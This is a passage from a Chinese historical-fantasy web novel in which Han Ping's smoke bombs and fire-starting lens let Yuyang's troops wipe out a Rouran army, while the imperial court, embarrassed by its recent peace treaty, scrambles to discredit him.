越朝的战士只管杀戮，刀杀得卷刃，便捡起柔然人的兵器，继续杀。 鲜血染红大地，顺着沟壑流淌不止。 一万三千多人的士兵，组成了巨大的包围圈，别说人，连马都不放过，有往外面跑的马，直接杀死。 这是一场少见的，步兵对骑兵的完胜。 重甲骑兵的优势全部成了弱势，身披重甲跑不动，只会死得更快。 随着包围圈慢慢变小，四周躺满了柔然人的尸体。 越朝这边，死伤极小，个别伤亡都是因为意外。 “战争真他娘的残酷！” 站在城墙上，拿望远镜看着，韩平感慨不已。 让他格外欣慰的是，谢朝乘这些人，使用烟雾弹格外的节省。 整起来看，大概只用掉了一半的烟雾弹。 这样的话，还剩下三万多枚呢，对柔然人，依然有震慑作用。 眼看着把骨都候手下的五万多人杀差不多了，韩平再次发出指令：“留下骨都候沮渠蒙逊的性命。” 这句话有两个意思，一个是留下骨都候沮渠蒙逊的性命，一个是其他人不用留。 柔然二十四长，地位崇高，不管是押送京城，还是交换俘虏，都价值巨大。 他这个个体的生命不重要，重要是他代表的东西。 …… 渔阳城前，杀声震天，血腥之气弥漫，把周围的斥候都快要吓疯了。 “报！” “骨都候带五万大军攻击渔阳城，谢朝乘正面迎战！” 叱利可汗听到正面应战，放松了一些：“南蛮子这是长胆子了啊，我倒不知道，他们还会正面战斗呢。” 他语带嘲讽，旁边的谷蠡王笑不出来：“可汗，渔阳城有了韩平，已经不是以前的渔阳城了。以我之见，不如把骨都候赶紧召回吧。” 骨都候倒霉，谷蠡王只会开心，但这些话还是要说的。 叱利可汗挑了挑眉头：“你啊，就是胆子太小了，想来所谓虚空生火，该当不是真的，而是另有隐情。” 虚空怎么生火？ 叱利可汗想很久了，甚至还拿出火折子点了几次，已经有了比较肯定的见解。 他希望沮渠蒙逊不但能打胜仗，还能弄清楚咋回事。 正说着，军报又来了。 “可汗！不好了！” “两军阵前，骨都候不信虚空生火，拿起一团柳絮，那韩平随手一指，柳絮便着了。 他还说，他是虚空生火大圣，奉天命前来督战，谁敢反抗，就降下地狱之火。 骨都候带着大家撤退，被谢朝乘追杀。” 报告的斥候瑟瑟发抖。 他是站在外围负责传递消息的，侥幸活了下来。 可现场杀戮的可怕，给他造成了强烈的心理阴影。 不光是怕被杀，更怕那地狱之火。 “真的……可以虚空生火？” “可汗，五万大军亲眼所见，绝对不假。” 叱利可汗一下子没了君王气度，他在这儿都感到了恐惧，对方能够虚空生火，这还怎么打？ 不对！ 不对！ 他猛然想到了什么，问道：“你是说，燃烧的是柳絮？” “是这样！” 能在众多王子中脱颖而出，赢得可汗至尊之位，叱利可汗是聪明至极之人，他恍然大悟： “烧粮草用到了柳絮，现在又出现了柳絮，这说明韩平并不能真的虚空生火，而是用了某种手段，呈现出虚空生火的样子。 要不然，他也不需要用柳絮引燃了。 再说，他如果真的能够虚空生火，能够降下地狱之火，直接把我们烧死好了，又何必那么麻烦？” 想明白这一层，他长出了一口气，拿起案头茶碗，喝了水，润润嗓子才问道：“然后呢？” 骨都候手里可有五万大军，可能一时间被吓到。 但两边只要一战斗，他马上就会知道，都是吓唬人的，南越的士兵，想破柔然的盔甲防御都难。 韩平迟迟无法降下地狱之火，谎言不攻自破。 “可汗，没有然后了！” 斥候还惊魂未定呢，哭丧着脸回复了一句，叱利可汗勃然大怒：“什么叫没有然后了？” “谢朝乘带人在后面追，前面有伏兵，五万大军被包围了起来，然后就被杀光了，那血流得……天哪，天哪……” 五万人的鲜血，就算柔然人是马背上的尚武民族，也没见过这么凄惨的。 斥候只要一想起来那种尸山血海的景象，便忍不住发抖。 以前，他肆意杀戮越朝士兵，百姓，第一次，他有了杀人不对这种想法。 “杀光了？你胡说八道什么？就算是五万头猪，也不可能全部杀光！” 柔然人对越朝是压倒性的强大，可要说全歼，从来没有做到过，打不过可以跑，平地没处躲，可以进林子。 再说了，包围的方式打仗，从来都是围三缺一，没有全包围的。 因为一旦全部围起来，不给人一点活路，对方会激发出更加强烈的厮杀之心，反而麻烦。 “可汗，真的杀光了，他们每个人手里都有烟雾弹，烟雾一起，五万大军惨叫一片，大家的眼睛看不到了。 越朝士兵像恶鬼一样在烟雾中任意穿梭，我们的人，逃也逃不掉，还手又看不见，只能任人屠戮。” 叱利可汗仿佛看到了那种可怖的景象，整个人都麻了：“每个人手里都有烟雾弹？” 他听说过烟雾弹可怕，但正因为可怕，他几乎理所当然地认为，烟雾弹不可能太多，毕竟，那是贵重至极的宝物啊。 每个人都拿着宝物，就问你，像话吗？ “是，还不止一个，那东西圆圆的，悬挂在南蛮人腰间，每个人有五个之多，他们用的格外珍惜，扔出去两个三个，见能杀光我们了，便不扔了。” 斥候都快要哭了。 打？还怎么打？ 人家手里，一个宝贝一个宝贝的往外面扔，越穿重甲，死得越快，把柔然的绝招给破得干干净净。 “这样子啊，这样子啊……” 腰肢瘫软，叱利可汗茫然许久，他依然很聪明，知道韩平并不是灵烟真君，而是用了什么方法，制造出了烟雾弹。 可知道这些没用，知道了也打不过。 精神受到了巨大创伤，过了很久他像是脑子断根弦一样，庆幸地笑了：“没事，没事，我们和大越已经和谈了，他韩平再厉害又如何？这是最后一仗了。” 第113章 朝堂要出事了 第一百一十三章 朝堂要出事了 “神仙！真是个神仙！” 一个消息接着一个消息到来，老牛湾守将潘时臣只剩下惊叹了，“梦麟，你怎么看？这韩平怎么那么厉害？” 沈梦麟连连摇头，苦笑不已：“将军，我不知道啊，我现在只知道，我们得想办法弄到烟雾弹，这可是个大宝贝。没有这东西，以后我们怕是想打仗，也没机会了。” 天天在边关守着，他本来打得腻味了，可一想到不能打了，还挺想念。 更重要的是，作为武将，失去了打仗的资格，还能干嘛去？ “你是说，两方对战，没有烟雾弹的，将会处于绝对劣势？” 宝贝谁都想要，毕竟这玩意可以彻底改变战局，管你什么步兵，骑兵，烟雾弹一扔，全完蛋，还怎么打啊？ 潘时臣自己提出了问题，一思考，面带骇然。 “正是如此，柔然重甲骑兵打不过渔阳城的步兵，这搁在从前，谁敢相信？结果，全歼啊。 真想见见烟雾弹的真容啊。 我听说，柔然谷蠡王把能工巧匠叫来了很多，结果完全无法破解烟雾弹，这件大宝贝，比什么投石车，弓弩还不同，是别人想学都学不去的。 如果韩平敞开了卖……不光咱们大越，周边各国，都得跟着买，不拥有烟雾弹的国家，就是砧板上的肉，任人宰割！ 只是不知道，韩平手里还有多少烟雾弹。” 天下正在被改变！ 虽然很多人还没有意识到，沈梦麟说着说着，自己都激动了。 以前各国互相威慑，说的是我猛将如云，谋臣如雨，以后就得说，敢打我试试，我手里有烟雾弹八百多个。 “嘘！” 稳重老成的潘时臣左右看看，好像怕别人听到了，“趁还没有人注意到，咱们得想办法，换一些过来。 只是，用什么换呢？ 就怕韩平这种高人，钱也不喜欢，女人也不喜欢，那就麻烦了。” 烟雾弹在手，多有底气啊，最好也弄点虚空生火的宝贝，以后打仗，便有底气了。 想到两件大宝贝在手，那是多么的耀武扬威，他馋了。 “将军，听说韩平是经营工坊的，由此可见，他爱钱是肯定的。 又听说他去过青-楼，想来钱和女人都是喜欢的。” “那可太好了。” 潘时臣放心许多，只要对方喜欢这些，那便还有凡人的欲-望，想投其所好，总算是有了门路。 想想也知道，小钱是不行的，女人也得是极品。 “将军，福兮祸所依，韩平打了大胜仗，朝廷却已经签订和约，割地赔偿纳贡和亲，一个没少。 消息一旦传到京城，那场面，我不敢想。 咱们可别被牵连进去。” 出妖孽了，这是谁也没想到的，朝廷签订和约，大部分人都是理解的，现在，有人走出了新的道路。 打赢就行了，就这么简单。 一下子，皇上和满朝大臣，都成小丑了，大胜仗是值得高兴的事，他们能高兴起来吗？ “嘶！” 也想到了这点，潘时臣倒抽凉气，“我现在只庆幸，我不在朝堂，不必烦恼这个，只是苦了陛下啊。 陛下 ……唉……陛下为了和谈，苦心孤诣布局朝堂，打击主战派，提拔主和派，让一切合理合法，让天下人没话说。 好不容易做成了，却成了笑话。 听说废太子笃信韩平，还和陛下打了赌。 现在韩平赢了，显得废太子很英明……没法说，没法说啊……” 居庙堂之高则忧其民，处江湖之远则忧其君。 这是潘时臣从小到大受到的教育，他现在有点同情皇上了，听起来很荒唐，可这就是他的真实感情。 大越打了大胜仗，皇上和大臣们一人背着个大黑锅，这以后还怎么治理天下？ 路边狗都能笑掉牙。 “更可笑的是，我已经查到，是叱利可汗让人四处散播谣言，还袭击了好多个驿站，传递虚假消息。 说渔阳城已经攻破，谢朝乘战死，韩平投降了柔然，还做了左贤王。 朝廷如果信了这个，那就只会更加难堪。” 天下之大，莫过君王，君王之下，莫过朝臣。 现在好嘛，君王和朝臣一起，在天下人面前，光屁股拉磨，转着圈的丢人。 从古至今也没发生过这种事。 皇权的神秘强大没了，只剩下尴尬和羞耻，以后怎么弄？ “应该不至于此，皇上到底还是英明的……不过，咱们的军报必须在渔阳城军报的后面，装作事后才知晓的无辜模样。 不然，朝堂上那些浑身都是嘴的家伙，说不定会咬咱们。” 无功无过，普普通通，这就是潘时臣想扮演的绝色，当然，偷偷地换点烟雾弹作为压箱底，还是要的。 …… “臣不负使命，签订和约而返！” “请陛下过目！” 同中书门下平章事，兵部尚书曾开之果真是谋国老臣，办事那叫一个利索，快马加鞭到达插箭岭，签了和约，几天之内，便回来了。 他站在金銮殿上，奉还节杖，呈上和约，沉稳朴素，看着就可靠。 “爱卿一路辛苦。” 看了和约，和自己想要的，一般无二，景武帝高兴了，“传旨，加封曾开之为文渊阁大学士，赏万金。” 这里的万金并不是万两金子，而是一万个铜板。 现在朝廷穷困，皇上的小金库也不富裕，这就算大方的了。 曾开之五体投地：“臣谢主隆恩。” 钱他不在乎，他在乎这个文渊阁大学士。 虽然说大学士并没有实质性的职务，可履行的却是皇上助手的工作，皇上和士大夫共治天下，大学士便是首屈一指的士大夫。 和以前的太傅有点像。 生晋太傅，死谥文正，现在算是完成一个了。 其他大臣都是赞颂不已。 “我皇英明，从今个起，我大越便可以进入崭新的篇章。” “是啊，只要我们卧薪尝胆十年，那柔然便不是我们的对手了。” “一切还要靠陛下高屋建瓴，为天下百姓谋福祉。” “我皇功得巍巍，可比三皇五帝，古之圣君不过如此。” …… 马屁还是要拍的，在场的，可都是主和派，在这件事上，大家是自己人，必须把和谈说成是最伟大的事，大家忠臣的形象才能立得住。 没办法，谁让以前和谈的君臣，给人的印象都不太好呢。 一阵大吹大擂之后，左都御史茅国昌站了出来：“启奏陛下，谢园卜父子自知辜负陛下隆恩，自缢于府门之上。臣恳请陛下，对他们宽宥一二。” 第114章 边关急报，十万火急 第一百一十四章 边关急报，十万火急 说到这事，大家都端正了面容。 到底和谢园卜同朝为官那么多年，怎么也有点香火情，对于他的死，大部分人还是同情的，怨只怨他生了个糟糕的儿子，坐镇渔阳城，打不赢仗，还玩登坛做法的把戏。 皇上生气斥责，那是理所当然，他想不开，是他自己的问题。 “谢园卜，谢朝乘虽然能力有限，一片忠心还是有的。” “传旨，谢园卜追封为侯爵，谢朝乘追封为武威将军，送其灵柩返回家乡，风光大葬。” 和谈成功，景武帝心头宽敞，也愿意给这种恩典，顿时，又是一片颂扬之声，连绵不绝。 “陛下宽宏仁慈，谢氏父子在地下，必然感激不尽。” “能够追随陛下实乃下臣万千荣幸。” “天下将士听闻陛下追封，必感念不已。” “谢园卜本是羞愧自杀，蒙陛下皇皇恩泽，他在九泉之下，定是痛哭流涕，拜谢不已。” …… 就算是谢园卜之前的政敌，对这个也没意见。 原因特简单，谢氏满门，死绝了，没有任何威胁了，给点虚名不算什么。 谁都知道，追封没意义，还只是追封侯爵。 武将最终极的谥号是忠武，如果给这个，肯定反对声一片。 一时间，朝廷之上，欢欣平和，皇上觉得自己是好人，大臣们也觉得自家心地善良。 负责监察地方的右都御史姚序之接着上奏：“陛下，忠臣应当嘉奖，叛贼却需严惩。 韩平韩安之本是我大越臣民，不思报效，投降柔然，做了左贤王，实在是罪无可赦。 他可以背叛我大越，他的家人还在嘉陵。 请问陛下，该如何处置才好？” 嗯？ 大家一个二个的，都精神了，朝堂是什么地方？ 骂人的地方。 “自来忠臣不侍二主，韩平此人，无君无父，他简直不是个人啊他。” “畜生！陛下对他何等宽宏，他竟投敌卖国，我呸！” “陛下实在不必为他这种狼心狗肺之人生气，只诛其九族好了。” “这等志骄自私贪婪卑鄙之人，早晚会有报应的。” …… 不多会，韩平变成了天底下最坏的人，那是头上长疮，脚底板流脓，没一处好地方。 景武帝在和谈上，是受了委屈的，毕竟已经昭告天下，他要认叱利可汗为兄，心里憋着火，想杀人。 可想到韩平已经是柔然的左贤王，又不得不生生忍住。 “他无心无肝，朕却不是残忍好杀之人。” “把他的家人押送到京城来，好好看护，他若为柔然出谋划策，到时便凌迟了他的家人，想来天下人也不会有任何怨言。” 拿住韩平的家人当人质，这是景武帝的真实想法。 对于议和，几个皇子基本都是置身事外，尽量的不说话，他们都有夺嫡的想法，在朝堂上主张过割地赔偿纳贡和亲，太影响名声了。 三皇子李元泰本想继续闭嘴的，这时候不得不站出来：“父皇，韩平固然罪大恶极，只是他手里经营着不少作坊，对眼前的灾荒，大有用处。 他本人在嘉陵，又颇有才名。 儿臣的意思，一定要委派一名能员前往，既要能押解韩平家人来京，又要安抚住工坊众人，保证工坊平稳运行。” 还要靠着嘉陵的商贸捞钱呢，李元泰可不想工坊倒闭，他说得非常正派，完全是为灾民着想。 景武帝沉吟之后，看向众人：“谁能当此重任？” “陛下，韩平并无官职，只是普通农户，该当由我户部派人前去。” “不妥不妥，韩平前往渔阳城，参与渔阳城之战，应该由我们兵部派人。” “韩平已然是罪人，连坐之下，他的家人也有罪，自然应由我们刑部捉拿。” “万事抬不过一个礼，韩平更是触犯了君臣礼法，礼部前往，更见陛下雍容之心。” …… 都知道说是押解，必然连带着抄家，韩平弄了那么大的工坊，手里不知道有多少钱，随便弄点，便能吃到饱，因此谁都想委派自己人前去。 景武帝被吵得脑壳疼，看向了提出问题的姚序之：“姚卿家可有人选？” 如今的朝堂都是主和派，容易形成铁板一块，现在和谈已经结束了，为了继续平衡朝堂，该树立新的派系了。 都察院的人，干的是得罪人的活，人缘都不太好，是眼前可以重用的。 “臣以为，不管是嘉陵，琴川还是江宁，都属于山南道。” “山南道御史黄守奎，精明能干，清正廉洁，由他去，当能够把事情办得妥当。” 姚序之低着头，推出自己的人选。 景武帝微微点头，明白了他的意思，工坊油水多，必须派个清正廉洁的，防止有人捞钱。 同时又必须能干，这样才能不受韩平的威望影响，成功押解韩平家人来京。 “爱卿言之有理，黄守奎何在？” “臣山南道御史黄守奎，拜见陛下。” 山南道御史正四品，勉勉强强，刚刚有资格出席朝堂会议，只是大部分情况下，比较少说话。 现在终于有机会了，他挺激动的。 这个活干好了，能够获得莫大的名声。 毕竟是押解投敌卖国之人的家属，天然的正义加身。 “韩平开设工坊，救活了许多灾民，和地方官员的关系也颇为融洽。” “你有什么办法能够押解他的家人，又不闹出乱子？” 因为蝗灾，已经是动荡四起了，景武帝不想再增加任何乱子， 看嘉陵，琴川，江宁三个地方都争夺工坊，也知道其中利益巨大。 朝廷正需要税银，稳住工坊，是重中之重。 “陛下，臣奉旨前往，谁敢阻拦，杀了便是。” “灾民于工坊劳作，是为活下去，绝不会自寻死路。” “我这一趟，当以野蛮，霸道处事，让所有人都明白，那韩平是乱臣贼子，工坊众人能够过上好生活，靠的是陛下恩泽，可不是他韩平。” 黄守奎这几句话一说，景武帝极为受用。 要统御天下，最重要的便是要让所有人都知道，恩威出自天子，除此之外，更无旁人。 如果因为吃了顿饱饭，灾民便为韩平出头，对抗国法，这种人当然要弄死。 “朕赐爱卿尚方宝剑，有人阻拦，不必手软。” 乱世用重典，景武帝让人取来尚方宝剑，给了黄守奎，“黄爱卿，为防日久生变，你即刻启程，用最快的速度，押解韩平家人来京。” 知道皇上是担心韩平偷偷带走家人，黄守奎带着人手，每人两匹马，呼啸而去。 朝堂继续议事，无非是平土匪，安抚灾民之事。 正在商量，突然御马监掌印太监吴射斗急匆匆进殿，双膝下跪，双手拿着军报，微微发抖：“陛下，边关最新情报，十万火急！” 景武帝紧张地咬了下嘴唇，都和谈了，边关还十万火急什么？ 叱利可汗不会说话不算话吧？ 好歹是一国之君，不会无耻到这种程度吧？ 第115章 不对，这剧情不对 第一百一十五章 不对，这剧情不对 兵部尚书曾开之，礼部尚书朱应时等大臣，还有几个皇子，统统看了过来，一个个的，纷纷皱眉。 如果柔然签订了和约不履行，继续打，那就非常麻烦。 打不过对方，只好联合周边各国，指责柔然不遵守规则。 其他各国要是不管，大越便成了小可怜，又被骗，又被打，很可能还会被灭掉。 “莫非叱利可汗又派人攻打了我方疆域了？” 景武帝攥着拳头，他自认为学过一些厚黑之道，在不要脸这方面，是有所修炼的。 但他也做不出来，刚签订和约，马上不当回事。 最可气的，钱啊人啊，自己还没送过去呢，真不知道柔然人是什么毛病。 “陛下，骨都候沮渠蒙逊亲率五万大军，攻打渔阳城……” 小跑过来，掌印太监吴射斗累得不行，他刚想报告好消息，不想景武帝听到这，暴跳如雷，把桌案上的奏疏扔在地上，破口大骂： “畜生！柔然自称什么狼族，狼是这样的吗？ 既然还要继续打，又何必和谈？ 叱利可汗到底在想什么？这岂是一国之君应该做的？” 从来君王讲究的都是君无戏言，就算发出了错误的旨意，轻易也不能改变，更不要说两国缔结和约如此重要的事。 都已经昭告天下，到处通传，柔然子民怎么信任这样的君主？ “夷狄鞑子贪婪好利，果然是人面而兽心，他们与我们习俗，饮食不同，连基本诚信都没有啊。” “披发左衽之畜生，上天怎么不降下一个天雷，劈死他啊。” “欺人太甚！叱利可汗狼子野心，看来不吞并我大越，誓不罢休了。” “亏我们还把他们当人看，既然如此，陛下，开战吧，和他们打，大不了鱼死网破。” …… 主和派都受不了啦，主和的最终结果无非就是缔结和约，有了和约，柔然人不当一回事，求和没意义了。 一下子，主和派都变成了主战派。 “慢着！” 左都御史茅国昌大叫了一声，“陛下，不对，不对啊陛下，这军报有问题！” 他嗷咾一嗓子，把大家的目光都吸引了过来。 景武帝焦急如焚，心已经乱了，还没有想到问题所在，问道：“茅爱卿有何话说？” 就像被抽走了柴火的沸水，周围渐渐平静下来。 茅国昌走出一步，狐疑地看了一眼跪在地上的掌印太监吴射斗，侃侃而谈： “启奏陛下，前几日的军报不是说，渔阳城已经被击破，谢朝乘战死，韩平投降了柔然，做了左贤王。 既然如此，叱利可汗为何又派骨都候沮渠蒙逊攻打？这不对呀。” 景武帝和群臣都陷入了沉思。 渔阳城既然已经被柔然占领，他们总不能自己攻打自己的城池吧？ 还调派了骨都候沮渠蒙逊，此人可是不简单。 “是啊，原本负责攻打渔阳城的人，我记得是谷蠡王郁久通迦。” “同为柔然二十四长，骨都候沮渠蒙逊所部的实力，远远在谷蠡王之上，渔阳城都破了，还要派更强的攻打，精神错乱了吗？” “莫非柔然人感染了什么恶疾，所以神志不清了？” “陛下我知道了，这其中，一定有是有问题的。” …… 嗯？ 到底咋回事呢？ 景武帝恼怒地看向掌印太监吴射斗：“吴射斗，你愣什么？说啊，哑巴啦？” 对太监，景武帝可没多少尊重。 真龙咆哮，吴射斗肝颤，嘴边尽是苦涩，心道，是我不说吗？ 我说一半，被你们打断了啊。 哼！ 就知道欺负我们当太监的。 “陛下，骨都候沮渠蒙逊带五万大军，攻打渔阳城……” “废物！这不都说过了吗？你重复什么？往后面说，后面！” 太想知道怎么回事了，景武帝急不可耐。 吴射斗抽泣了一声，长话短说：“渔阳城在韩平带领之下，全歼五万大军，活捉沮渠蒙逊。” 安静！ 深海一般的安静！ 刚刚是人多嘴杂，乌龟乱爬，现在好像都死光了，甚至人都僵了。 好半天景武帝的眼珠子才转动了起来。 接着他抄起奏疏，一本又一本的，砸向吴射斗：“你这个喜欢上青-楼的狗奴才！这样的信息，你也敢呈到朕这里来？都不用筛选一下真假吗？你是干什么吃的？” 不光奏疏，还把一件玉如意扔了过去，砸在吴射斗的额头上，鲜血汩汩地冒了出来。 周围的大臣纷纷侧目，露出嘲讽笑容。 三年前，御马监太监吴射斗偷偷上青-楼这事，被人传了出来，引起了轩然大-波，无数人惊奇又好奇。 那段时间青-楼外面的角落里，藏着各种爱看稀罕的大人物，小人物。 真不怪他们，想想吧，一个太监，藏头露尾，掩人耳目地上青-楼，谁不想弄清楚咋回事啊？ 就连皇上都被惊动了，还以为吴射斗没有阉干净，有需求呢。 后来方知，吴射斗是真真正正的太监，他去青-楼并不是去做什么，而是去看什么。 他做不了，但他可一饱眼福啊。 很多人都上青-楼，大越律法并没有规定说太监不能上青-楼，因此也就不了了之。 只是，这到底属于吴射斗的奇特爱好，他不喜欢被人说的，现在皇上把他这个短处当众说出来，践踏之意，溢于言表。 “陛下，老奴筛选过了，觉得是真的，所以才呈上来的。” 人不伤心不流泪，吴射斗眼泪汪汪的，只觉得冤枉。 他尽心尽力，收到这样的消息，查验之后，小跑着送过来。 看着皇上，看着群臣，他忍不住想，待会有没有人给我道个歉呢？ “你觉得是真的？为何会有如此荒唐的想法？” 景武帝还是余怒未消，只是内心深处有了个令人惊惶的小泡泡，慢慢在变大，在升起。 “陛下，送来军报之人，是渔阳城的千户，老奴怕有虚假，调看了他的名籍，他是京城之人，老奴还叫来了他的家人，邻居，确认无误。 更不要说，他带来了沮渠蒙逊的佩刀和鹰顶金盔，老奴找人看了，十足真金，正是骨都候沮渠蒙逊之物。 有了这些证据，老奴怕耽误事，这才匆忙过来报信，老奴错了吗？” 又落下几滴眼泪，吴射斗委屈难受，一副忠臣蒙冤的模样，大臣们的脸色渐渐改变。 看来渔阳城也是怕朝廷不信，所以派来了京城本地人出生的千户，这个人的身份调查清楚，由不得大家不信。 至于沮渠蒙逊的佩刀和鹰顶金盔，那是柔然能工巧匠，费大功夫打造出来的，和寻常之物完全不同，要分辨也不难。 景武帝把指甲掐进了肉里面，如果这条消息是真的，意味着他错了，满朝大臣都错了。 错得一塌糊涂的朝廷，还如何做天下之典范？ “此人在何处？让他携带佩刀和金盔上殿。” “正在宫门外。” 御马监掌印太监吴射斗自信满满，怨愤地看了眼群臣，笑话我上青-楼，等着吧，有我笑话你们的时候。 他站在大殿门口，高声宣喝：“传千户胡仲连进殿。” 第116章 朝臣懵逼 第一百一十六章 朝臣懵逼 “臣千夫长胡仲连，拜见皇上，我皇万岁万岁，万万岁。” 第一次来到金銮殿，胡仲连是非常紧张，非常慌乱的。 千户的官职是六品，这里只要是个人，都比他大。 从小到大，在王化礼法教育之下长大，他对皇上有着发自内心的畏惧，以及不得不给的敬爱。 因此一个头磕在地上，他就没敢抬头。 “胡仲连，你们真的打了胜仗？全歼了柔然五万大军，活捉了沮渠蒙逊？ 在朕面前，你如果不说实话，便是满门抄斩！” 拿出帝王的气势，景武帝显得高大无比，威严如神。 胡仲连连忙打起精神，他现在代表的可不是自个，而是渔阳城一万三千多同袍，还代表将军谢朝乘，甚至还能代表一部分神异惊人的韩先生。 因此他拿出不要命的勇气，抬起了高贵的头颅：“启奏陛下，确实如此。” 啊！ 景武帝好像被对方一股子气给顶了回来，满朝君臣是一荣俱荣，一损俱损。 兵部尚书曾开之问道：“你们渔阳城，现在还有多少士兵？” 此刻在曾开之的心里，有一种说不出的恼怒，我刚去签订了割地，赔偿，纳贡，和亲的和约，你们打胜仗了。 故意是吧？ 找茬是吧？ 他的语气格外不好，好像在审犯人，胡仲连急忙回答：“共一万三千多名。” 兵部尚书理论上是管一切武将的，更不要说胡仲连这种小虾米，让胡仲连无法接受的是，这是弄啥？ 我们打了胜仗，还打错了吗？ 怎么一个二个的，都不高兴了呢？ “可笑至极！我是兵部尚书，我怎么不知道，我们的士兵已经有了这样的战力，一万三灭柔然五万大军，还是那个沮渠蒙逊带领的。” 通常，需要三比一的情况下，越朝士兵才能和柔然士兵对战，如果是面对柔然的重甲骑兵，这个比例更高。 柔然的重甲骑兵，就好像一个又有钱又不怕死的恶棍，穷人打不过的，都说光脚的不怕穿鞋的，在柔然人面前，完全错误。 光脚的不但怕穿鞋的，简直怕死了。 “这……本来我们是没有这个战力，韩先生来了啊，他一来，我们和柔然的实力对比就不一样了。 消灭柔然五万大军，我们一共受伤一百多人，死了六个。” 一万多砍五万多，死了六个真不多，其中大半是被马给踩死的。 以前死了同袍，大家也难过，只是这次，韩先生还亲自祭奠，非常的郑重，和以前非常不同，让每个人心里都觉得特别踏实。 韩先生给钱也大方，用自己的钱，给每个死亡将士家属百两银子。 很多人都感动哭了，都想着有一天，能够为韩先生拼命呢。 胡仲连自然也是如此，提到韩先生，他更是挺起了胸膛，十分有铁血战士的风采。 “韩先生？哦，就是那个韩平是吧？他不是投降柔然，当了左贤王吗？” 看这位千户，对韩平又敬畏，又崇拜，还有浓浓的孺慕之情，作为兵部尚书的曾开之，有点眼红。 他宦海沉浮那么多年，太明白了，想让人害怕简单，只要有了实力，或者有了官位，轻而易举便能做到。 但这种管理方式有个问题，一旦自己没有了实力和官位，敬畏便不存在了。 而且，越是到关键时刻，这种因为恐惧而产生的忠心就越不可靠。 可崇拜啊，孺慕啊，敬爱啊这种感情则相反。 平常不太能看出来，反而越是关键时刻，他们越是能够效死力 。 凡是能够镇压一方的军-头，身边往往都有一些这种人，所谓亲兵，所谓心腹。 只是，韩平才去渔阳城几天，竟然能够让一个千户敬畏中有崇拜，崇拜中是发自内心的维护，怎么做到的？ “大人，谁在胡说八道？” 胡仲连气得胸口起伏不定，“韩先生自从来到渔阳城，与我等将士朝夕相处，教导我们如何打仗，还教导我们改进了观察战场的方式。 你不妨去问，渔阳城上上下下，说起韩先生，哪个不挑大拇指？ 柔然人最憎恨的，便是韩先生了。 只因韩先生指挥我等，放火烧了六路柔然大军的粮草，还烧死了沮渠蒙逊的儿子，所以沮渠蒙逊要来报仇。 你们……你们是不信吗？ 如果不信，可以亲自过去看啊，也可以问问其他五路大军。 我撒这种谎言干啥？” 回来报喜是巨大的荣耀，可自从来到这朝堂，胡仲连便感到了浓郁的阴沉之气。 好像皇上也好，大臣也好，都极其不满他们打了胜仗。 怎么会这样？ 他的脑子不够用了！ “你们还烧了柔然六路大军的粮草？朕怎么没有收到消息？” 景武帝眼中带着狐疑，现在他心中的泡泡越来越大了。 正像胡仲连所说，他没必要撒谎，如果是真的，很快，不光其他五路大军会有军报，就是靠近渔阳城的地方官，也得行文上来。 “微臣不知啊。” 怎么那么奇怪啊，这种问题，你问我，我问谁去？ 胡仲连歪着脑袋，心说，这是我的错吗？和我没有一文钱的关系啊。 之前的消息都是通过驿站传达的。 “咳咳咳……” 感觉又有一股子气被怼回来了，关键还无法责怪什么，景武帝心里憋得难受，问道：“说说吧，怎么那韩平一到，你们就能打得过柔然人了？怎么做到的？” 现在景武帝的情绪正应了那句话：宝宝心里苦，但宝宝没法说。 和谈的事，他根本没有通知谢朝乘，认定谢朝乘不行了，很快就会被军法处置，现在好了，他死鱼翻身了。 如果说之前，景武帝对韩平只有个粗略的认知，现在韩平已经成了一根刺，扎进了他心里。 眼前这个事情处理不好，天子威严荡然无存，以后还怎么统御万方？ “启奏陛下，韩先生是带着宝贝来的呀，第一个大宝贝，望远镜，可以看到三四里地之外的敌人，可以让我们及早做好准备，知己知彼。 第二个大宝贝，凸透镜，可以聚集阳光，虚空生火。 所以柔然人都称呼我们家韩先生为虚空御火大圣呢。 第三个大宝贝更是十分歹毒呀，名叫烟雾弹，一旦释放，便可以辣住敌人的眼睛，让他们短时间失明。 他们的人和马都看不见了，还怎么打仗？ 第四个大宝贝，护目镜，可以保护我们的眼睛，不受烟雾弹的影响。 柔然大军在我们家韩先生眼里，犹如土鸡瓦狗，根本不值一提。 韩先生让我们收割，我们便收割了五万大军的人头，就是这么简单。” 面对大眼瞪小眼的君臣，胡仲连直接上硬货，在场的人，个个都是饱学之士，一肚子的学问。 都懵逼了。 啥是望远镜？ 啥是秃头镜？ 啥是烟雾弹？ 啥是护目镜？ 这都是啥啥啥？ 第117章 韩平是奸臣？ 第一百一十七章 韩平是奸臣？ “慢着，慢着，这些东西，都是韩平制作出来的？” 景武帝面露骇然，他虽然没有完全听懂，但光看作用，就不得了啊。 其他群臣也是惊讶莫名。 从来没听过这种能工巧匠。 大越和所有王朝都一样，以纯孝治天下，工匠弄出来稀奇古怪的东西，都是奇技yin巧，几近歪门邪道。 饱学士大夫，是不可能研究这东西的。 哪知道，歪门邪道竟然立功了。 “正是，我们家韩先生心灵手巧，那个话怎么说的来着？哦，夺天地之造化，侵日月之玄机。” 带着强烈的自豪感，胡仲连毫不夸张的夸张了起来，大臣们的脸色越来越阴沉了下去。 从来士农工商，工是第三位的，他们是士，万民之首，现在有点倒反天罡了，第一位的士没做到的事，第三位的工随随便便给做了。 “陛下，臣十分怀疑韩平此人的动机，此人动机，大大的不纯啊，他或许正是传说中的奸臣！” 见皇上的印堂都快要发黑了，又见几位大人在使眼色，河西道御史费鸣皋站了出来。 无缘无故给人泼脏水这事，像尚书啊，侍郎啊这些顶级大佬是不愿意干的，传出去多不好听。 不能干又想干，就要派出自己的打手了，费鸣皋扮演的就是打手角色。 干好了，会有奖赏，受罚了，会有人捞，费鸣皋干起来毫无思想负担。 这不，他这么一说话，大家的脸色都好看了。 景武帝也长出了一口气，假装愠怒道：“费爱卿，饭可以乱吃，话可不能乱说，如果韩平真的立下如此大功，便是封他个侯爵也应该，怎么能说人家是奸臣呢？不妥，不妥啊。” 听到爱卿两个字，费鸣皋更是心里有谱，他浸yin朝堂二十年，多少也算看明白了朝堂的规矩。 朝堂之上，对错无关紧要，成败无关紧要，你要是觉得自己立功了，就了不起了，那用不了多久，便会死得连骨头渣都不剩。 在这儿，最重要的一件事，是要让皇上当裁判，让皇上开心，说句不敬的话，哄好皇上，才能加官进爵。 皇上刚刚和柔然签订了和约，你韩平就打胜仗，就你了不起是不是？ “陛下，微臣揣度，韩平此人，用心实在险恶，既然他有那么大的才华，为何之前不出手？ 偏偏等到我大越一败再败，方才出手。 